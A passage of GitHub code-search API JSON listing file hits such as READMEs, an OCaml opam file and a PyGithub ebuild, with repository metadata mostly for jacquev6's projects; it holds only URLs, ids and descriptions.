","url":"https://api.github.com/repositories/34715715/contents/README.rst?ref=fee028e4066ba5b9b1506c2e079b1270a59e2653","git_url":"https://api.github.com/repositories/34715715/git/blobs/2fbb83da6dd20ac7f9bfc08ad842185966a90d7a","html_url":"https://github.com/jacquev6/variadic/blob/fee028e4066ba5b9b1506c2e079b1270a59e2653/README.rst","repository":{"id":34715715,"node_id":"MDEwOlJlcG9zaXRvcnkzNDcxNTcxNQ==","name":"variadic","full_name":"jacquev6/variadic","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/variadic","description":"Python decorator for very-variadic functions","fork":false,"url":"https://api.github.com/repos/jacquev6/variadic","forks_url":"https://api.github.com/repos/jacquev6/variadic/forks","keys_url":"https://api.github.com/repos/jacquev6/variadic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/variadic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/variadic/teams","hooks_url":"https://api.github.com/repos/jacquev6/variadic/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/variadic/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/variadic/events","assignees_url":"https://api.github.com/repos/jacquev6/variadic/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/variadic/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/variadic/tags","blobs_url":"https://api.github.com/repos/jacquev6/variadic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/variadic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/variadic/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/variadic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/variadic/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/variadic/languages","stargazers_url":"https://api.github.com/repos/jacquev6/variadic/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/variadic/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/variadic/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/variadic/subscription","commits_url":"https://api.github.com/repos/jacquev6/variadic/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/variadic/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/variadic/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/variadic/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/variadic/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/variadic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/variadic/merges","archive_url":"https://api.github.com/repos/jacquev6/variadic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/variadic/downloads","issues_url":"https://api.github.com/repos/jacquev6/variadic/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/variadic/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/variadic/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/variadic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/variadic/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/variadic/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/variadic/deployments"},"score":32.44837},{"name":"README.rst","path":"README.rst","sha":"8330d3c78089589d8e18ab32fa7a86f8d4af0d94","url":"https://api.github.com/repositories/125401887/contents/README.rst?ref=bb0c77a1b0bdb636307e591867aec1bc44d68eb4","git_url":"https://api.github.com/repositories/125401887/git/blobs/8330d3c78089589d8e18ab32fa7a86f8d4af0d94","html_url":"https://github.com/jacquev6/Collide/blob/bb0c77a1b0bdb636307e591867aec1bc44d68eb4/README.rst","repository":{"id":125401887,"node_id":"MDEwOlJlcG9zaXRvcnkxMjU0MDE4ODc=","name":"Collide","full_name":"jacquev6/Collide","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/Collide","description":"Event-based simulation of elastic collisions between balls","fork":false,"url":"https://api.github.com/repos/jacquev6/Collide","forks_url":"https://api.github.com/repos/jacquev6/Collide/forks","keys_url":"https://api.github.com/repos/jacquev6/Collide/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/Collide/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/Collide/teams","hooks_url":"https://api.github.com/repos/jacquev6/Collide/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/Collide/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/Collide/events","assignees_url":"https://api.github.com/repos/jacquev6/Collide/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/Collide/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/Collide/tags","blobs_url":"https://api.github.com/repos/jacquev6/Collide/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/Collide/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/Collide/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/Collide/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/Collide/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/Collide/languages","stargazers_url":"https://api.github.com/repos/jacquev6/Collide/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/Collide/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/Collide/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/Collide/subscription","commits_url":"https://api.github.com/repos/jacquev6/Collide/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/Collide/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/Collide/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/Collide/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/Collide/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/Collide/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/Collide/merges","archive_url":"https://api.github.com/repos/jacquev6/Collide/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/Collide/downloads","issues_url":"https://api.github.com/repos/jacquev6/Collide/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/Collide/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/Collide/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/Collide/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/Collide/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/Collide/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/Collide/deployments"},"score":32.30937},{"name":"index.html","path":"docs/index.html","sha":"4ca6a8f9356234771f2c9f1ea6cd6f44bddaeb4c","url":"https://api.github.com/repositories/57307104/contents/docs/index.html?ref=f2fa67d8836a547eb91429dc6895066cc40cc6f9","git_url":"https://api.github.com/repositories/57307104/git/blobs/4ca6a8f9356234771f2c9f1ea6cd6f44bddaeb4c","html_url":"https://github.com/jacquev6/hashids-ocaml/blob/f2fa67d8836a547eb91429dc6895066cc40cc6f9/docs/index.html","repository":{"id":57307104,"node_id":"MDEwOlJlcG9zaXRvcnk1NzMwNzEwNA==","name":"hashids-ocaml","full_name":"jacquev6/hashids-ocaml","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/hashids-ocaml","description":"OCaml implementation of http://hashids.org","fork":false,"url":"https://api.github.com/repos/jacquev6/hashids-ocaml","forks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/forks","keys_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/teams","hooks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/events","assignees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/tags","blobs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/languages","stargazers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscription","commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/merges","archive_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/downloads","issues_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/deployments"},"score":32.01793},{"name":"ribbon.js","path":"ribbon.js","sha":"30c49798f0521f03e014e2f89207740ec5599f33","url":"https://api.github.com/repositories/24086133/contents/ribbon.js?ref=aaf4309184020eb13ed9738f4f691bb39d1f8afd","git_url":"https://api.github.com/repositories/24086133/git/blobs/30c49798f0521f03e014e2f89207740ec5599f33","html_url":"https://github.com/jacquev6/jacquev6.github.io/blob/aaf4309184020eb13ed9738f4f691bb39d1f8afd/ribbon.js","repository":{"id":24086133,"node_id":"MDEwOlJlcG9zaXRvcnkyNDA4NjEzMw==","name":"jacquev6.github.io","full_name":"jacquev6/jacquev6.github.io","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/jacquev6.github.io","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/jacquev6.github.io","forks_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/forks","keys_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/teams","hooks_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/events","assignees_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/tags","blobs_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/languages","stargazers_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/subscription","commits_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/merges","archive_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/downloads","issues_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/jacquev6.github.io/deployments"},"score":31.974337},{"name":"General.opam","path":"General.opam","sha":"bc245901e96c92c8c58cab656c9ced9e5b39b5d3","url":"https://api.github.com/repositories/100627412/contents/General.opam?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/bc245901e96c92c8c58cab656c9ced9e5b39b5d3","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/General.opam","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":31.557022},{"name":"PyGithub-1.21.0.ebuild","path":"portage/trunk/dev-python/PyGithub/PyGithub-1.21.0.ebuild","sha":"53d105e98d9d58e69ae2f76ec3db940f50050a9e","url":"https://api.github.com/repositories/32190102/contents/portage/trunk/dev-python/PyGithub/PyGithub-1.21.0.ebuild?ref=ba052e0b5506bb78ae421f906c9a7668916fd8aa","git_url":"https://api.github.com/repositories/32190102/git/blobs/53d105e98d9d58e69ae2f76ec3db940f50050a9e","html_url":"https://github.com/seanjensengrey/pentoo/blob/ba052e0b5506bb78ae421f906c9a7668916fd8aa/portage/trunk/dev-python/PyGithub/PyGithub-1.21.0.ebuild","repository":{"id":32190102,"node_id":"MDEwOlJlcG9zaXRvcnkzMjE5MDEwMg==","name":"pentoo","full_name":"seanjensengrey/pentoo","private":false,"owner":{"login":"seanjensengrey","id":128454,"node_id":"MDQ6VXNlcjEyODQ1NA==","avatar_url":"https://avatars2.githubusercontent.com/u/128454?v=4","gravatar_id":"","url":"https://api.github.com/users/seanjensengrey","html_url":"https://github.com/seanjensengrey","followers_url":"https://api.github.com/users/seanjensengrey/followers","following_url":"https://api.github.com/users/seanjensengrey/following{/other_user}","gists_url":"https://api.github.com/users/seanjensengrey/gists{/gist_id}","starred_url":"https://api.github.com/users/seanjensengrey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seanjensengrey/subscriptions","organizations_url":"https://api.github.com/users/seanjensengrey/orgs","repos_url":"https://api.github.com/users/seanjensengrey/repos","events_url":"https://api.github.com/users/seanjensengrey/events{/privacy}","received_events_url":"https://api.github.com/users/seanjensengrey/received_events","type":"User","site_admin":false},"html_url":"https://github.com/seanjensengrey/pentoo","description":"Automatically exported from code.google.com/p/pentoo","fork":false,"url":"https://api.github.com/repos/seanjensengrey/pentoo","forks_url":"https://api.github.com/repos/seanjensengrey/pentoo/forks","keys_url":"https://api.github.com/repos/seanjensengrey/pentoo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/seanjensengrey/pentoo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/seanjensengrey/pentoo/teams","hooks_url":"https://api.github.com/repos/seanjensengrey/pentoo/hooks","issue_events_url":"https://api.github.com/repos/seanjensengrey/pentoo/issues/events{/number}","events_url":"https://api.github.com/repos/seanjensengrey/pentoo/events","assignees_url":"https://api.github.com/repos/seanjensengrey/pentoo/assignees{/user}","branches_url":"https://api.github.com/repos/seanjensengrey/pentoo/branches{/branch}","tags_url":"https://api.github.com/repos/seanjensengrey/pentoo/tags","blobs_url":"https://api.github.com/repos/seanjensengrey/pentoo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/seanjensengrey/pentoo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/seanjensengrey/pentoo/git/refs{/sha}","trees_url":"https://api.github.com/repos/seanjensengrey/pentoo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/seanjensengrey/pentoo/statuses/{sha}","languages_url":"https://api.github.com/repos/seanjensengrey/pentoo/languages","stargazers_url":"https://api.github.com/repos/seanjensengrey/pentoo/stargazers","contributors_url":"https://api.github.com/repos/seanjensengrey/pentoo/contributors","subscribers_url":"https://api.github.com/repos/seanjensengrey/pentoo/subscribers","subscription_url":"https://api.github.com/repos/seanjensengrey/pentoo/subscription","commits_url":"https://api.github.com/repos/seanjensengrey/pentoo/commits{/sha}","git_commits_url":"https://api.github.com/repos/seanjensengrey/pentoo/git/commits{/sha}","comments_url":"https://api.github.com/repos/seanjensengrey/pentoo/comments{/number}","issue_comment_url":"https://api.github.com/repos/seanjensengrey/pentoo/issues/comments{/number}","contents_url":"https://api.github.com/repos/seanjensengrey/pentoo/contents/{+path}","compare_url":"https://api.github.com/repos/seanjensengrey/pentoo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/seanjensengrey/pentoo/merges","archive_url":"https://api.github.com/repos/seanjensengrey/pentoo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/seanjensengrey/pentoo/downloads","issues_url":"https://api.github.com/repos/seanjensengrey/pentoo/issues{/number}","pulls_url":"https://api.github.com/repos/seanjensengrey/pentoo/pulls{/number}","milestones_url":"https://api.github.com/repos/seanjensengrey/pentoo/milestones{/number}","notifications_url":"https://api.github.com/repos/seanjensengrey/pentoo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/seanjensengrey/pentoo/labels{/name}","releases_url":"https://api.github.com/repos/seanjensengrey/pentoo/releases{/id}","deployments_url":"https://api.github.com/repos/seanjensengrey/pentoo/deployments"},"score":31.543339},{"name":"README.rst","path":"README.rst","sha":"a32ac41cdf7c583e5ced3877595ad04b43a39c72","url":"https://api.github.com/repositories/40665572/contents/README.rst?ref=44b14d3c6d477f440c99ac433819fec0ce1f4591","git_url":"https://api.github.com/repositories/40665572/git/blobs/a32ac41cdf7c583e5ced3877595ad04b43a39c72","html_url":"https://github.com/jacquev6/Pynamixel/blob/44b14d3c6d477f440c99ac433819fec0ce1f4591/README.rst","repository":{"id":40665572,"node_id":"MDEwOlJlcG9zaXRvcnk0MDY2NTU3Mg==","name":"Pynamixel","full_name":"jacquev6/Pynamixel","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/Pynamixel","description":"Python library to use Robotis Dynamixel servos","fork":false,"url":"https://api.github.com/repos/jacquev6/Pynamixel","forks_url":"https://api.github.com/repos/jacquev6/Pynamixel/forks","keys_url":"https://api.github.com/repos/jacquev6/Pynamixel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/Pynamixel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/Pynamixel/teams","hooks_url":"https://api.github.com/repos/jacquev6/Pynamixel/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/Pynamixel/events","assignees_url":"https://api.github.com/repos/jacquev6/Pynamixel/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/Pynamixel/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/Pynamixel/tags","blobs_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/Pynamixel/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/Pynamixel/languages","stargazers_url":"https://api.github.com/repos/jacquev6/Pynamixel/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/Pynamixel/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/Pynamixel/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/Pynamixel/subscription","commits_url":"https://api.github.com/repos/jacquev6/Pynamixel/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/Pynamixel/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/Pynamixel/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/Pynamixel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/Pynamixel/merges","archive_url":"https://api.github.com/repos/jacquev6/Pynamixel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/Pynamixel/downloads","issues_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/Pynamixel/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/Pynamixel/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/Pynamixel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/Pynamixel/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/Pynamixel/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/Pynamixel/deployments"},"score":31.514828},{"name":"README.rst","path":"README.rst","sha":"62f5f8b8727c265010d61f3cb998c3a2ce008ebf","url":"https://api.github.com/repositories/6518903/contents/README.rst?ref=1